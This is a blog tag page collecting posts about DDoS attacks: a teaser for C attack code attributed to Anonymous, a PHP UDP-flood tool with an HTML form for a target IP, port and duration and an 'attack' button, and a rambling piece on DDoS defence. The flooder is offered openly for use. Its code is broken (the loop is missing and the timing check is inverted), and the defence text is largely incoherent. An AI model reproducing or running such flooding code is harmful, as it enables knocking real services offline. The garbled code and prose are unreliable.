Posts Tagged ‘ddos attack’

The DDOS Attacks Source Code in C Programming Language

Distributed Denial of Services (DDoS) is not a new concept and has been an effective way to get attention. DDoS is simple to orchestrate and rather difficult to defend against.

I came across the code which allegedly has been used by Anonymous to carry out some attacks on their targets.The code itself is straightforward, generating the desired effect at will without the need to control a large number of systems.This is the DDOS attack source code in c programming language: Read more

PHP DDoS Attack Source Code

PHP DDOS Attack source code

DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8″>
<meta name="author" content="">
<title>PHP DDoS Attack</title>
DDoS –>
<style type="text/css">
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
DDoS –>
IP: <?php echo $ip; ?> (don't use your ip)
<form name="input" action="function.php" method="post">
<input type="text" name="<span class=" />ip" size="15″ maxlength="15″ value ="″ onblur = "if ( this.value==" ) this.value = '';" onfocus = " if ( this.value == '') this.value = ";">
<input type="text" name="<span class=" />time" size="14″ maxlength="20″ value = "time(second)" onblur = "if ( this.value==" ) this.value = ‘time (in seconds)’;" onfocus = " if ( this.value =='time (in seconds)') this.value = ";">
<input class="hiddenSpellError" type="text" name="port" value="socket" size="5" />onblur = "if ( this.value==") this.value ='port';"onfocus=" if (this.value=='port') this.value=";">
<input type="submit" value="attack&gt;">
<!– PHP DDOS–>

$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand";
$max_time = $time+$exec_time;
$out.= "X";
if(time() > $max_time){
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
fwrite($fp, $out);
echo "Packet complete at ".time('h:i:s')." with $packets (".round(($packets*65)/1024, 2)." mB) packets averaging ".round($packets/$exec_time,2). " packets/s \n";

How to Stop Distributed Denial of Service ( ddos attacks)

How to Stop Distributed Denial of Service ( ddos attacks)


DDOS is an acronym of Distributed Denial of Service .Defense Distributed Denial of Service ( ddos attack) is a systematic project, the DDOS attack is distributed, the concerto a wider range of large-scale offensive battle, of course, its ability to destroy before the less. It also makes the DDOS prevention work more difficult. Want to rely solely on the server of some kind of system or anti-anti-flow attack guard DDOS is unrealistic, be sure to completely eliminate DDOS is not possible, through appropriate measures against 99.9% of the DDOS attack can be done the sake of attack and defense has a cost overhead, through the appropriate way to enhance the ability to withstand DDOS, which means increased cost of attackers, then the vast majority of the attacker will not be able to continue to give up it is equivalent to the successful defense of a DDOS attack.
With the growing popularity in recent years, traffic attack wantonly spread on the Internet, the dangers of DDOS attacks escalated, the face of the potential variety of unpredictable attacks, more and more enterprises was overwhelmed and powerless. Single high anti-anti-traffic attack server as a powerful firewall, like the problem can be resolved is limited, while the cluster of high anti-anti-flow attacks, nor is the general business can grasp and use. How to ensure that the conditions of victims of DDOS attacks, the server system to normal operation or to reduce the dangers of DDOS attack? Read more